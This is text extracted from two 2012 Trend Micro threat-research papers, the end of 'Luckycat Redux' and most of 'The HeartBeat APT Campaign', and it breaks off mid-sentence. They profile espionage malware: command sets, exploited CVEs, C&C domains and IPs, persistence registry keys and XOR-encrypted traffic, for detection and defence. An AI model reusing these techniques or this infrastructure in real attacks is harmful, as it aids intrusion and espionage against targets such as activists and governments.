year.16 16 http://www.cqvip.com/Main/Search.aspx?w=Scuhkr Figure 11: Post by schuhkr using the QQ number, 19013788 The post in Figure 11 contains two email addresses ggggggsccd@sina.com and scuhkr@21cn.com, along with an additional QQ number, 2888111. The email address, scuhkr@21cn.com, is also associated with an account on rootkit.com.17 Investigating the second QQ number allowed us to determine that scuhkr also used the nickname, lolibaso. The other individual mentioned in the post also worked and studied at the Information Security Institute of the Sichuan University and has published several articles related to fuzzing vulnerabilities in 2006. 17 http://dazzlepod.com/rootkit/?page=83 PAGE 11 | LUCKYCAT REDUX CAMPAIGN CONNECTIONS We were able to identify five malware families that were either used by or hosted on the same dedicated server with the domain name, duojee.info. Some of these were used as second-stage malware that the attackers pushed to victims whose systems have been compromised by firststage malware. Second-stage malware typically provided additional functionality and were especially used if the first-stage malware is very simplistic. We also found that the attackers used several malware families that have been utilized in previous campaigns. This may indicate a level of collaboration across campaigns. One of the sample email s attachments was part of the Luckycat campaign while the other was part of the ShadowNet campaign. The ShadowNet campaign has a history of targeting Tibetan activists as well as the Indian government, which fits the profile of the Luckycat campaigns as well. ShadowNet The first interesting connection we noticed in conjunction with the Luckycat campaign had to do with ShadowNet, a cyber-espionage network documented by researchers at the University of Toronto and the ShadowServer Foundation.18 We found a socially engineered email that had two malicious file attachments. Figure 13: Relationship between the Luckycat and the ShadowNet campaigns The ShadowNet malware, detected by Trend Micro as TROJ_GUPD.AB, first connects to a blog in order to receive the URL of the C&C server. The URL was encoded using a modulus operation. The malware on the compromised computer decodes the URL then issues a connection to the C&C server. The compromised computer posts data to a PHP script running on the server, usually named index. php or all.php, and contains information about it as well as a campaign code. The information is stored in a .TXT file on the C&C server. The compromised computer continues to beacon to the C&C server to see if the operators have designed any commands. If they have, the compromised computer then executes the given commands and reports the results back to the C&C server. Figure 12: Sample targeted email with both Luckycat and ShadowNet malware attachments 18 http://www.nartv.org/mirror/shadows-in-the-cloud.pdf PAGE 12 | LUCKYCAT REDUX Figure 15: Example of a blog used by ShadowNet to communicate an encoded C&C server location Figure 14: Sample ShadowNet malware related to a Luckycat email attack This attack used the theme of self-immolation in Tibet for both the email and the decoy document that is opened after the vulnerability exploitation. The malicious file attachment exploits a vulnerability in Microsoft Office CVE-2010-3333, to drop malware onto the target s system. The malware was configured to connect to two blogs and a Yahoo! Group in order to find the C&C server s location. The blogs and groups the ShadowNet attackers use can be easily updated whenever the C&C servers are changed. The URL of the blog is embedded in the malware. The malware connects to the blog and decodes the C&C URL then connects to the C&C server. The commands the server issues are also encoded using a simple logical operator. The malware also decodes these using keycodes that are sent along with the actual commands. CVE Identifier Campaign Code 26891c3e4a2de034e4841db2a579734f CVE-2011-2462 circle ebea24fe1611a1ab778f5ecceb781fad CVE-2010-3333 circle Table 4: ShadowNet malware samples related to the Luckycat campaign Duojeen The malware attacks related to the Duojeen campaign all target the Tibetan community and use a single C&C server duojee.info. We also found that a malware binary available for download from duojee.info is a TROJ_WIMMIE Trojan that connects back to bailianlan.c.dwyu.com a C&C server the Luckycat attackers use. PAGE 13 | LUCKYCAT REDUX Figure 16: Relationship between the Duojeen and the Luckycat campaigns The duojee.info server is the C&C component of the Duojeen campaign. The related malware, detected by Trend Micro as BKDR_DUOJEEN.A, connects to a C&C server and posts data to a PHP script typically named, linux.php, solaris.php, or freebsd.php. The following information is encoded using logical operators such as xor, or, or bitwise shifting on adjacent bytes in the malware: The Duojeen malware continues to poll the C&C server then executes one of the only possible commands specified by the attackers: Stop the malware from communicating with the C&C server Download and execute a second-stage malware Hostname Computer name MAC address IP address, subnet mask, and gateway Network resources Running processes Microsoft Outlook user account information (e.g., HTTP mail user name, POP3 user name, or POP3 server) Recently opened files PAGE 14 | LUCKYCAT REDUX Figure 17: Sample Duojeen attack email One of the Duojeen attacks leverages a Tibetan-themed job ad to encourage potential victims to open an attached document that exploits a vulnerability in Microsoft Office CVE-2010-3333, in order to drop a malware that connects to duojee.info. CVE Identifier Campaign Code 715cbbe21844bbb4f1f60a91ae28def3 CVE-2010-3333 aaaa a9bda3c31fc6acc83a5226226f7ab554 CVE-2010-3333 aaaa 567a774cf865b50189e81c14b4ca4b63 CVE-2010-3333 aaaa e62c115b6874726c309b3038a9391e28 CVE-2010-3333 aaaa 9860d087892fce98e6f639e3e9dba91e Not applicable d773e3bacc2c8389c2ab51c9cbc68480 Not applicable Table 5: Duojeen malware samples Duojee.info also contains the PHP scripts used for commanding and controlling the Luckycat campaign at /holly/count.php as well as ShadowNet at /soom/cont.php. The duojee.info server also has a phishing page designed to steal passwords from mail.tibet.net users. Figure 18: Phishing page hosted on duojee.info The duojee.info server also has other malware from two additional families available for download. One malware is known as Comfoo, related to yet another cyber-espionage campaign, while the other is known as Sparksrv. Sparksrv Sparksrv refers to a second-stage malware that provides backdoor access with significantly more functionality than first-stage droppers. Second-stage malware, often Remote Administration Trojans (RATs), are deployed because first-stage malware only provide simple check-in functionality such as a short list of commands that can be scheduled. Second-stage RATs, on the other hand, provide an additional access channel as well as real-time control over a compromised machine if the attackers and the victims are online at the same time. Figure 19: Relationship between the Sparksrv and the Luckycat campaigns The Sparksrv malware, detected by Trend Micro as BKDR_ RPKNUF.A, was initially found on a ShadowNet server in November 2011. We have, however, found several instances of a newer version of the same malware on duojee. info. The malware initially sends the following plain-text information through port 443: IP address Identifier MAC address PAGE 15 | LUCKYCAT REDUX Once the malware establishes a connection, it then starts to receive commands from the C&C server, which allow the attackers to do the following: Start or kill a process Copy or search for a file Download or upload files Create or delete directories Load a DLL Invoke a command shell Domain IP Address 0a927897ab5acff1e6bd45897368253b fidk.rkntils.dnset.com 69.162.71.254 b53f71e4dd2ca8826e6191dee439564b fidk.rkntils.dnset.com 69.162.71.254 a2b37776e0bd6594c688a8214371b9ff rukiyeangel.dyndns.pro 199.192.152.100 Table 6: Sparksrv malware samples and C&C locations We also found an older version of the malware on a ShadowNet server, sunshine.shop.co. d0eec59f1e74c0851c8dd1c8be88f2b9 IP Address 173.208.242.25 Table 7: Older Sparksrv malware version found on a ShadowNet server Comfoo Comfoo malware have been seen in conjunction with campaigns targeting sensitive entities in both Japan and India. We found a version of the Comfoo malware on the duojee.info server as well as an email attack that used the same version of Comfoo malware. In fact, the .DOC file used in the attack dropped an .EXE file with the same MD5 hash as the one found on the duojee.info server. Figure 20: Relationship between the Comfoo and the Luckycat campaigns PAGE 16 | LUCKYCAT REDUX While at least two of the Comfoo variants are essentially the same, the traffic encryption methods used in the Comfoo sample found in connection with duojee.info differed from other Comfoo variants we ve analyzed that are not directly related to the Luckycat campaign. The more common Comfoo malware samples we analyzed used custom encryption methods while the variant found on the duojee.info server utilized the Windows Cryptographic Application Programming Interface (API). This Comfoo variant s initial network communication sent the following information to the C&C server: Randomly generated characters Figure 21: Sample Comfoo campaign email MAC address IP address OS version String, liberate, as campaign code This Comfoo email attack leverages the current situation in Tibet to encourage recipients to open a malicious attachment that exploits a vulnerability in Microsoft Office CVE-2010-3333, in order to drop a malware onto the target s system. The attackers gather the following information from infected systems: CPU, NETBIOS, and disk information System, OS version, and account information Network adapters, protocols, and configuration information Installed applications as well as Internet Explorer (IE) and Browser Helper Object (BHO) information The malware the attackers use is capable of receiving several commands. Command Description 0x233C Invoke command shell 0x1B6C Take screenshot 0x139C Start interactive desktop 0x1F54 Start keylogging 0xFDC Stop service 0xFF0 Delete service 0xBCC Enumerate running processes 0xBE0 Terminate process 0x2EF4 Download file Figure 22: Comfoo decoy document that exploits a Microsoft Office vulnerability After the decoy document opens, the Comfoo malware begins to communicate with johnnees.rkntils.10dig.net, which resolves to the IP address, 69.162.71.254 the same host that some Sparksrv malware samples we analyzed use. Table 8: Commands the Comfoo malware receive PAGE 17 | LUCKYCAT REDUX CVE Identifier Campaign Code 24552d599b650ca3ecd467d9d740de33 CVE-2010-3333 liberate 6815ab1f11ac33d4c1149efc3206d794 Not applicable liberate 6bd4e7d7408e0d8d1592e27fc19650c8 Not applicable liberate Table 9: Comfoo malware samples The samples in Table 9 connect to havefuns.rkntils.10dig.net or johnnees.rkntils.10dig.net, which both resolve to the same IP address 69.162.71.254. PAGE 18 | LUCKYCAT REDUX CONCLUSION DEFENDING AGAINST APTS Targeted attacks have been extremely successful, making the scope of the problem truly global. These have been affecting governments, militaries, defense industries, high-technology companies, intergovernmental organizations, nongovernmental organizations (NGOs), media organizations, academic institutions, and activists worldwide. Sufficiently motivated threat actors can penetrate even networks that use moderately advanced security measures. As such, apart from standard and relevant attack prevention measures and mechanisms such as solid patch management; endpoint and network security; firewall use; and the like, enterprises should also focus on detecting and mitigating attacks. Moreover, data loss prevention (DLP) strategies such as identifying exactly what an organization is protecting and taking into account the context of data use should be employed. Targeted attacks are not isolated smash-and-grab incidents. They are part of consistent campaigns that aim to establish persistent, covert presence in a target network so that information can be extracted as needed. Targeted attacks may not be easy to understand but careful monitoring allows researchers to leverage the mistakes attackers make to get a glimpse inside their operations. Moreover, we can track cyber-espionage campaigns over time using a combination of technical and contextual indicators. This paper specifically discussed the Luckycat campaign. In the course of our research, we discovered that it had a much more diverse target set than previously thought. Not only did the attackers target military research institutions in India, as earlier disclosed by Symantec, they also targeted sensitive entities in Japan and India as well as Tibetan activists. They used a diversity of infrastructure as well, ranging from throw-away free-hosting sites to dedicated VPSs. We also found that the Luckycat campaign can be linked to other campaigns as well. The people behind it used or provided infrastructure for other campaigns that have also been linked to past targeted attacks such as the previously documented ShadowNet campaign.19 Understanding the attack tools, techniques, and infrastructure used in the Luckycat campaign as well as how an individual incident is related to a broader campaign provides the context necessary for us to assess its impact and come up with defensive strategies in order to protect our customers. Local and External Threat Intelligence Threat intelligence refers to indicators that can be used to identify the tools, tactics, and procedures threat actors engaging in targeted attacks utilize. Both external and local threat intelligence is crucial for developing the ability to detect attacks early. The following are the core components of this defense strategy: Enhanced visibility: Logs from endpoint, server, and network monitoring are an important and often underused resource that can be aggregated to provide a view of the activities within an organization that can be processed for anomalous behaviors that can indicate a targeted attack. Integrity checks: In order to maintain persistence, malware will make modifications to the file system and registry. Monitoring such changes can indicate the presence of malware. Empowering the human analyst: Humans are best positioned to identify anomalous behaviors when presented with a view of aggregated logs from across a network. This information is used in conjunction with custom alerts based on the local and external threat intelligence available. 19 http://www.nytimes.com/2010/04/06/science/06cyber.html?_r=2 PAGE 19 | LUCKYCAT REDUX Technologies available today such as Deep Discovery provide visibility, insight, and control over networks to defend against targeted threats.20 Deep Discovery uniquely detects and identifies evasive threats in real time and provides in-depth analysis and actionable intelligence to prevent, discover, and reduce risks. Educating Employees Against Social Engineering Once an attack is identified, the cleanup strategy should focus on the following objectives: Security-related policies and procedures combined with education and training programs are essential components of defense. Traditional training methods can be fortified by simulations and exercises using real spear-phishing attempts sent to test employees. Employees trained to expect targeted attacks are better positioned to report potential threats and constitute an important source of threat intelligence. Determine the attack vector and cut off communications with the C&C server. Data-Centric Protection Strategy Determine the scope of the compromise. The ultimate objective of targeted attacks is to acquire sensitive data. As such, DLP strategies that focus on identifying and protecting confidential information are critical. Enhanced data protection and visibility across an enterprise provides the ability to control access to sensitive data as well as monitor and log successful and unsuccessful attempts to access it. Enhanced access control and logging capabilities allow security analysts to locate and investigate anomalies, respond to incidents, and initiate remediation strategies and damage assessment. Mitigation and Cleanup Strategy Assess the damage by analyzing the data and forensic artifacts available on compromised machines. Remediation should be applied soon afterward, which includes steps to fortify affected servers, machines, or devices into secure states, informed in part by how the compromised machines were infiltrated. 20 http://www.trendmicro.com/us/enterprise/security-risk-management/ deep-discovery/index.html PAGE 20 | LUCKYCAT REDUX TREND MICRO THREAT PROTECTION AGAINST LUCKYCAT CAMPAIGN COMPONENTS The following table summarizes the Trend Micro solutions for the components of the Luckycat campaign. Trend Micro recommends a comprehensive security risk management strategy that goes further than advanced protection to meet the real-time threat management requirements of dealing with targeted attacks. Attack Component Protection Technology Trend Micro Solution HTTP C&C communication fingerprint count.php?m=c&n=[HOSTNAME]_[MAC_ ADDRESS]_[CAMPAIGN_CODE]@ Web Reputation Endpoint (Titanium, Worry-Free Business Security, OfficeScan) Server (Deep Security) Messaging (InterScan Messaging Security, ScanMail Suite for Microsoft Exchange) Network (Deep Discovery) Gateway (InterScan Web Security, InterScan Messaging Security) Mobile (Mobile Security) TROJ_WIMMIE VBS_WIMMIE File Reputation (Antivirus/Anti-malware) Endpoint (Titanium, Worry-Free Business Security, OfficeScan) Server (Deep Security) Messaging (InterScan Messaging Security, ScanMail Suite for Microsoft Exchange) Network (Deep Discovery) Gateway (InterScan Web Security, InterScan Messaging Security) Mobile (Mobile Security) PAGE 21 | LUCKYCAT REDUX Attack Component CVE-2010-3333 CVE-2010-2883 CVE-2010-3654 CVE-2011-0611 CVE-2011-2462 PAGE 22 | LUCKYCAT REDUX Protection Technology Trend Micro Solution Vulnerability Shielding/Virtual Patching Server (Deep Security) Endpoint (OfficeScan with Intrusion Defense Firewall Plug-In) For CVE-2010-3333: Rule #1004498 (Microsoft Word .RTF File Parsing Stack Buffer Overflow Vulnerability) For CVE-2010-2883: Rule #1004393 (Adobe Reader SING Table Parsing Vulnerability) Rule #1004113 (identified malicious .PDF file) Rule #1004315 (identified malicious .PDF file - 3) For CVE-2010-3654: Rule #1004497 (Adobe Flash Player Unspecified Code Execution Vulnerability) For CVE-2011-0611: Rule #1004801 (Adobe Flash Player .SWF File Remote Memory Corruption Vulnerability) Rule #1004114 (identified malicious .SWF file) Rule #1004647 (restrict Microsoft Office file with embedded .SWF file) For CVE-2011-2462: Rule #1004871 (Adobe Acrobat/ Reader U3D Component Memory Corruption Vulnerability) Rule #1004873 (Adobe Acrobat/ Reader U3D Component Memory Corruption) Attack Component cattree.1x.biz charlesbrain.shop.co footballworldcup.website.org frankwhales.shop.co hi21222325.x.gg kinkeechow.shop.co kittyshop.kilu.org perfect.shop.co pumasports.website.org tomsburs.shop.co vpoasport.shopping2000.com goodwell.all.co.uk fireequipment.website.org tennissport.website.org waterpool.website.org tb123.xoomsite.com tbda123.gwchost.com toms.0fees.net tomygreen.0fees.net killmannets.0fees.net maritimemaster.kilu.org masterchoice.shop.co jeepvihecle.shop.co lucysmith.0fees.net Protection Technology Web, Domain, and IP Reputation Trend Micro Solution Endpoint (Titanium, Worry-Free Business Security, OfficeScan) Server (Deep Security) Messaging (InterScan Messaging Security, ScanMail Suite for Microsoft Exchange) Network (Deep Discovery) Gateway (InterScan Web Security, InterScan Messaging Security) Mobile (Mobile Security) TREND MICRO TREND MICRO INC. Trend Micro Incorporated (TYO: 4704; TSE: 4704), a global cloud security leader, creates a world safe for exchanging digital information with its Internet content security and threat management solutions for businesses and consumers. A pioneer in server security with over 20 years experience, we deliver top-ranked client, server and cloudbased security that fits our customers and partners needs, stops new threats faster, and protects data in physical, virtualized and cloud environments. Powered by the industry-leading Trend Micro Smart Protection Network cloud computing security infrastructure, our products and services stop threats where they emerge from the Internet. They are supported by 1,000+ threat intelligence experts around the globe. 10101 N. De Anza Blvd. Cupertino, CA 95014 U.S. toll free: 1 +800.228.5651 Phone: 1 +408.257.1500 Fax: 1 +408.257.2003 www.trendmicro.com 2012 by Trend Micro, Incorporated. All rights reserved. Trend Micro and the Trend Micro t-ball logo are trademarks or registered trademarks of Trend Micro, Incorporated. All other product or company names may be trademarks or registered trademarks of their owners. PAGE 23 | LUCKYCAT REDUX March 2012 | APT Campaign Quick Profile: LUCKYCAT Advanced persistent threats (APTs) refer to a category of threats that aggressively pursue and compromise specific targets to maintain persistent presence within the victim s network so they can move laterally and exfiltrate data. Unlike indiscriminate cybercrime attacks, spam, web threats, and the like, APTs are much harder to detect because of the targeted nature of related components and techniques. Also, while cybercrime focuses on stealing credit card and banking information to gain profit, APTs are better thought of as cyber espionage. LUCKYCAT First Seen Individual targeted attacks are not one-off attempts. Attackers continually try to get inside the target s network. The Luckycat campaign has been active since at least June 2011. Victims and Targets APT campaigns target specific industries or communities of interest in specific regions. The Luckycat campaign has been linked to 90 attacks against the following industries and/or communities in Japan and India: AEROSPACE ENERGY ENGINEERING SHIPPING MILITARY RESEARCH TIBETAN ACTIVISTS The threat actors behind the Luckycat campaign used a unique campaign code to track victims of specific attacks. Operations The 1st-stage computer intrusions often use social engineering. Attackers custom-fit attacks to their targets. Targeted emails that are contextually relevant (i.e., emails containing a decoy document of radiation dose measurement results sent some time after the Great East Japan Earthquake) Exploited CVE-2010-3333 (aka, Rich Text Format [RTF] Stack Buffer Overflow Vulnerability) in several instances, although Adobe Reader and Flash Player vulnerabilities were also exploited Used TROJ_WIMMIE or VBS_WIMMIE malware that take advantage of the Windows Management Instrumentation (WMI), making the backdoor component undetectable through file scanning The WIMMIE malware, once inside the network, connects to a command-and-control (C&C) server via HTTP over port 80 Attackers heavily used free web-hosting services to host their C&C servers under a diverse set of domain names but also used virtual private servers (VPSs) for more stable operations Possible Indicators of Compromise Attackers want to remain undetected as long as possible. A key characteristic of these attacks is stealth. WIMMIE malware do not leave much network fingerprint. However, the following is an identifiable HTTP C&C communication fingerprint count.php?m=c&n=[HOSTNAME]_[MAC_ADDRESS]_[CAMPAIGN_CODE]@. This format can also be seen in the URL inside the script when /namespace:\\root\subscription path __eventconsumer is typed in the command line for WMI. Relationship with Other APT Campaigns Malware identified with the ShadowNet, Duojeen, Sparksrv, and Comfoo campaigns were used or found hosted on the same dedicated server used by the Luckycat campaign. Trend Micro Incorporated Research Paper 2012 The HeartBeat APT Campaign Roland Dela Paz Contents About This Paper................................................................................................................................... 1 Introduction............................................................................................................................................ 1 Campaign Targets................................................................................................................................. 2 Context.................................................................................................................................................... 2 Attack Vector......................................................................................................................................... 3 Infection Flow........................................................................................................................................4 The RAT Component............................................................................................................................ 5 Backdoor Functionalities............................................................................................................. 5 Installation and Persistence........................................................................................................ 5 C&C Communication..................................................................................................................... 6 Command and Control.........................................................................................................................8 HeartBeat Campaign Codes and Decoy Documents....................................................................8 Relationships among C&C Domains, IPs, and Campaigns........................................................... 9 Attribution.............................................................................................................................................10 Conclusion.............................................................................................................................................10 Timeline..................................................................................................................................................10 Defending against the HeartBeat Campaign.................................................................................11 Trend Micro Threat Protection Against The HeartBeat Campaign Components.................12 PAGE ii | THE HEARTBEAT APT CAMPAIGN About This Paper Introduction This paper exposes a targeted attack called HeartBeat, which has been persistently pursuing the South Korean government and related organizations since 2009. This paper will discuss how their specifically crafted campaigns infiltrate their targets. Today s cybercriminals try to infect as many users as possible. Their goal is simple to monetize the resources or data from infected machines in any way they can. Behind such attacks are highly covert targeted campaigns known as APTs. Compared to most advanced persistent threat (APT) campaigns with diverse targeted industries, the HeartBeat campaign is an isolated case. Furthermore, we will examine their attack methodologies which include their attack vector, the remote administration tool (RAT) component, and command-and-control servers. Finally, we will discuss how this information can be useful in developing defensive strategies in protecting organizations as well as predicting future targets. While targeted campaigns continue to increase, research efforts by the security industry reveal that some of these attacks have existed for several years.1 Depending on the motive, APT campaigns may attack various industries, organizations or communities from different regions and countries. For instance, the Luckycat campaign targeted the aerospace, energy, engineering, shipping, and military research industries in India and Japan.2 Additionally, they targeted the Tibetan activists community. The IXESHE campaign, on the other hand, targeted East Asian governments, Taiwanese electronics manufacturers, and a telecommunications company.3 While most of these campaigns have multiple targets, smaller, more subtle campaigns with exceedingly specific targets are also present. The Taidoor campaign is an example of this, where all of the compromise victims were from Taiwan, and the majority of which were government organizations.4 This research paper will delve into a targeted campaign that targets organizations and communities within South Korea. We call this malicious operation the HeartBeat campaign. http://www.trendmicro.com/cloud-content/us/pdfs/securityintelligence/white-papers/wp_dissecting-lurid-apt.pdf 2 http://www.trendmicro.com/cloud-content/us/pdfs/securityintelligence/white-papers/wp_luckycat_redux.pdf 3 http://www.trendmicro.com/cloud-content/us/pdfs/securityintelligence/white-papers/wp_ixeshe.pdf 4 http://www.trendmicro.com/cloud-content/us/pdfs/securityintelligence/white-papers/wp_the_taidoor_campaign.pdf PAGE 1 | THE HEARTBEAT APT CAMPAIGN Campaign Targets Context The HeartBeat campaign appears to target government organizations and institutions or communities that are in some way related to the South Korean government. Specifically, we were able to identify the following targets: The first HeartBeat campaign remote access tool (RAT)5 component was discovered in June 2012 in a Korean newspaper company network. Further investigation revealed that the campaign has been actively distributing their RAT component to their targets in 2011 and the first half of 2012. Furthermore, we uncovered one malware component that dates back to November 2009. This indicates that the campaign started during that time or earlier. Political parties Media outfits A national policy research institute A military branch of South Korean armed forces Earlier versions of the HeartBeat campaign s RAT component contained the following strings in their codes: A small business sector organization Thus, the campaign name HeartBeat. Branches of South Korean government The profile of their targets suggests that the motive behind the campaign may be politically motivated. Figure 1. Code used in the HeartBeat campaign s RAT component 5 http://en.wikipedia.org/wiki/Remote_administration_software PAGE 2 | THE HEARTBEAT APT CAMPAIGN Attack Vector In order to gain control over targets systems, HeartBeat perpetrators install a RAT in prospective victims systems. This RAT arrives as a disguised or fake document which is actually a bundled file. The bundled file contains both a decoy document and the RAT installer that has been packaged together using a binder tool. Once it runs, the decoy document is displayed to the user while the RAT unknowingly executes in the background. Based on the samples we collected, the campaign s decoy documents used the file formats .JPG, .PDF, XLS, and HWP, the Korean government standard word processor format. One of the previous HeartBeat attacks even dropped a pornographic .JPG image as decoy. Below is a screenshot of a Hangul Word Processor (.HWP) document used as bait in November 2011. Its document title roughly translates to Information to the President.hwp. It is unclear how these packaged files specifically arrive on victims systems, but we highly suspect that spearphishing emails6 containing these packaged malware were primarily used to distribute them. In fact, the packaged malware used the icon of the decoy document in order to look legitimate. For instance, if the decoy is an XLS file, the package will appear to have an XLS document icon. In addition, some of the decoy files required passwords in order to be viewed. Figure 3. A decoy .HWP document Figure 2. Example of a decoy Adobe Reader document The previously mentioned techniques are commonly used in spearphishing attacks where prospective victims are lured to open a seemingly benign document attachment. In order to appear more legitimate, some of these emails contain password protected documents. A password is then provided in the email body as a social engineering technique. 6 http://blog.trendmicro.com/taiwan-spear-phishers-target-gmail-users/ PAGE 3 | THE HEARTBEAT APT CAMPAIGN Infection Flow Once users open the packaged malicious file, the actual document is displayed to the user while a RAT installer in .EXE format runs in the background. The RAT installer, on the other hand, drops a .DLL file that is then injected to the legitimate process svchost.exe. The injected code in svchost.exe then connects to the malware command and control (C&C) server to register infection and wait for remote commands. Figure 4. Infection diagram for the HeartBeat campaign TREND MICRO INCORPORATED TREND MICRO INC. Trend Micro Incorporated (TYO: 4704; TSE: 4704), a global cloud security leader, creates a world safe for exchanging digital information with its Internet content security and threat management solutions for businesses and consumers. A pioneer in server security with over 20 years experience, we deliver top-ranked client, server and cloudbased security that fits our customers and partners needs, stops new threats faster, and protects data in physical, virtualized and cloud environments. Powered by the industry-leading Trend Micro Smart Protection Network cloud computing security infrastructure, our products and services stop threats where they emerge from the Internet. They are supported by 1,000+ threat intelligence experts around the globe. 10101 N. De Anza Blvd. Cupertino, CA 95014 U.S. toll free: 1 +800.228.5651 Phone: 1 +408.257.1500 Fax: 1 +408.257.2003 www.trendmicro.com 2012 by Trend Micro, Incorporated. All rights reserved. Trend Micro and the Trend Micro t-ball logo are trademarks or registered trademarks of Trend Micro, Incorporated. All other product or company names may be trademarks or registered trademarks of their owners. PAGE 4 | THE HEARTBEAT APT CAMPAIGN The RAT Component Backdoor Functionalities The RAT installer in turn drops a .DLL component which contains the backdoor capabilities. In order to stay hidden, the .DLL uses file names similar to legitimate applications. Below is a list of file names used: %Program Files%\Common Files\Services\6to4nt.dll The HeartBeat campaign s RAT component allows attackers to remotely execute the following commands on affected hosts: %Program Files%\Common Files\System\6to4nt.dll List running processes and their respective process %Program Files%\Windows NT\htrn.dll Download and execute file(s) Update itself Uninstall itself Create or terminate a process List available removable and fixed drives %Program Files%\Windows NT\Accessories\6to4nt.dll %Program Files%\Windows NT\htrn_jls.dll %Program Files%\Windows NT\hyper.dll %System%\Network Remote.dll %System%\SvcHost.dll Some these dropped .DLL files use fake file properties in order to not appear suspicious. The following is an example: List existing files and their creation date/time Upload file(s) Delete file(s) Get the file creation date/time of a specific file Open a remote command shell access Reboot the system These commands give the attackers complete control over their victims systems. Attackers also have the option to uninstall the RAT any time to cover their tracks and avoid being discovered. Installation and Persistence The RAT installer is initially dropped and executed by the packaged file using any of the following file names: %System%\msrt.exe %Program Files%\Common Files\AcroRd32.exe %Program Files%\Common Files\config.exe Figure 5. A.DLL that uses fake file properties %Program Files%\Common Files\explorer.exe PAGE 5 | THE HEARTBEAT APT CAMPAIGN In some cases, the RAT installer drops 2 .DLL files where one of the .DLLs serves as a loader of the other .DLL file which contains the backdoor payload. The .DLL component is then registered as a service through the following added registries: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\ Services\{service name} Type = Start = ErrorControl = ImagePath = %SystemRoot%\System32\svchost.exe -k netsvcs ObjectName = LocalSystem HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\ Services\{service name}\Parameters ServiceDll = C:\Program Files\Windows NT\htrn. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\ Services\{service name}\Security Security = {values} HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\ Services\{service name}\Enum 0 = Root\LEGACY_{service name}\0000 Count = NextInstance = *{service name} may be 6to4 Irmon C&C Communication Once the RAT s .DLL component has been injected to svchost.exe, the malware attempts to register itself to the C&C server by sending the following information from the affected system: Computer name Local IP address Service pack These data are sent along with a campaign code and the string qawsed . While the qawsed string is not present in earlier versions of their RAT, we suspect that the attackers only recently added this as a default campaign password. The RAT s C&C communication is encrypted with XOR encryption using a single byte key, 02H. Furthermore, the data being transferred and received by the RAT C&C are 800H (2,048 bytes) in size. The service is then invoked once installed. This results in the .DLL being injected to svchost.exe process. This registry modification allows the RAT to execute upon every system startup. After installation the RAT installer deletes itself, which leaves only the disguised .DLL and related registry entries on the affected system. Note that the presence of any of the files or registries above may be an indication of a possible HeartBeat infection in a system. Figure 6. RAT s encryption algorithm before sending data to its C&C server PAGE 6 | THE HEARTBEAT APT CAMPAIGN Figure 7. RAT s decryption code upon receiving data from the C&C server During the RAT s phone home, the following TCP traffic is observed on the network: When decrypted, the above traffic looks as follows: The majority of the RAT variants used port 80. Recent variants, however, were observed to use port 443. Other ports we have seen being utilized are port 5600 and port 8080. Earlier RAT variants did not use encryption on their C&C communication. Moreover, they only sent the computer name and campaign code during phone home. Below is a screenshot of the unencrypted C&C communication. PAGE 7 | THE HEARTBEAT APT CAMPAIGN The C&C traffic size also varied in previous versions. Some early variants used traffic that are 28H (40 bytes) and 1004H (4,100 bytes) in size. Additionally, the port, C&C address, campaign code and password are hardcoded in the RAT s malware body in plain text. In some RAT versions, however, they are encrypted and are decrypted only during run-time, possibly to protect the RAT from static analysis by security researchers. These variations in their RAT component indicate that it has since been undergoing development. Command and Control HeartBeat Campaign Codes and Decoy Documents The campaign codes and decoy documents used by the HeartBeat attackers provided valuable insights on their campaigns. In fact, majority of their campaign codes included number combinations which represented the month and date in MMDD format when the attack attempt was executed. The rest of the campaign code string often describes the decoy document that was used in a specific campaign. For instance, a campaign code from October 2011 is army-1022 where attackers used a decoy document containing military-related information. Campaign code The HeartBeat campaign s C&C domains appear to utilize a site redirection service. Their C&C sites redirect to IP addresses from ISPs in Armenia, USA, Japan, India and Korea. We observed that they updated the IP address of some of their C&C domains. Likewise, all of their IP addresses belong to legitimate ISPs. Considering this, we suspect that these IP addresses are compromised hosts that act as proxy servers which redirects traffic to the actual C&C servers. Again, this adds another layer of anonymity to the HeartBeat perpetrators. Domain IP Address ahnlab.myfw.us XXX.XXX.217.123 /XXX.XX.121.84 kissyou01.myfw.us XX.XXX.203.122 / XX.XXX.20.103 kita.myfw.us XXX.XXX.217.123 / XXX.XX.121.84 login.sbs.com.PassAs.us XXX.XXX.178.50 mail2.myfw.us XX.XXX.15.63 / XXX.XXX.198.93 park007.myfw.us unknown snrp.UglyAs.com XXX.XXX.169.45 www.banking.com.PassAs.us XXX.XXX.178.50 www.huyang.go.kr.PassAs.us XXX.XXX.217.123 / XX.XXX.136.115 www.kinu.or.kr.rr.nu XXX.XXX.178.50 www.kndu.ac.kr.myfw.us XXX.XXX.4.180 young03.myfw.us XX.XXX.203.122 Table 1. List of HeartBeat C&Cs PAGE 8 | THE HEARTBEAT APT CAMPAIGN Password 1119HWP None kris0315 None PDF-0417 None gh-0525 None 0909-jpg qawsed 0916 qawsed jpg-jf-0925 qawsed army-1022 qawsed 1103-ghui qawsed 1113-minzhu qawsed ajh7884@han qawsed qawsed 0305-ziyoudang qawsed 0326-xuehui qawsed 0328-junf qawsed 0329-mnd qawsed 1q2w3e4r None 0520-tiegang qawsed guohui-0604 qawsed Table 2. Campaign codes used On the other hand, decoy documents contents were also very specific to their targets. For example, some of these documents included logos of specific groups. This information helped us identify their targeted organizations and communities in their previous campaigns. PAGE 9 | THE HEARTBEAT APT CAMPAIGN Figure 7. Relationships between HeartBeat attack components Relationships among C&C Domains, IPs, and Campaigns Attribution Clues relating to the attackers remain very limited. Using compromised hosts as C&C proxy servers minimizes the possibility of tracking potential threat actors. While a number of their campaign codes included Chinese words such as guohui, xuehui and minzhu, they appear to be comfortable using the English language. Some of the C&C domain names even contained English words. In addition, the binder tool and the RAT component are written in English. For instance, some text from the packaged components body included Select Files! and Bind Success! , while the RAT component included strings such as Uninstall and the name of the RAT itself, HeartBeat. Threat actors and entities that use collected information from targets may be two separate parties that are only related in a professional and malicious manner. In this case, determining the latter may be impossible. Likewise, it is very difficult to identify the threat actors behind the HeartBeat campaign given the limited amount of information available. Conclusion The Heartbeat campaign has been successfully executing targeted attacks since 2009. In order for attackers to properly track their campaigns and victims, they used campaign codes that contained the campaign dates and strings that described specific campaigns. These campaign codes are embedded in their RAT binaries and were sent to their C&C servers along with information regarding the targets system. Additionally, they used a commercial site redirection service for their C&C domains. These domains redirected to various IP addresses that belonged to legitimate ISPs, which may be compromised hosts that act as proxy servers. This 